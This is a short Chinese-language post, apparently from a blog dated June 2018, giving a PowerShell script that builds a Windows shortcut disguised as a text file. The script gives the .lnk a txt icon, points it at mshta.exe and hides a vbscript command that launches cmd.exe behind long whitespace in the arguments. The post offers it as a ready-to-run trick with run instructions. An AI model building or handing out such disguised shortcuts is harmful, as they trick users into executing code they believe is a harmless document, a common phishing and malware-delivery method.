2018年6月

lnk的一个玩法。

$Shell = New-Object -ComObject WScript.Shell
$Dir = Split-Path -Parent $MyInvocation.MyCommand.Definition
$Shortcut = $Shell.CreateShortcut("$Dir\test.txt.lnk")
$Shortcut.TargetPath = "%Windir%\System32\mshta.exe"
$Shortcut.IconLocation = "shell32.dll,70"
$Shortcut.Arguments ='                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               vbscript:CreateObject("WScript.Shell").Run("cmd.exe",5)(window.close)'

$Shortcut.Save()



保存为.ps1然后用PowerShell运行

生成一个test.lnk 图标样式为txt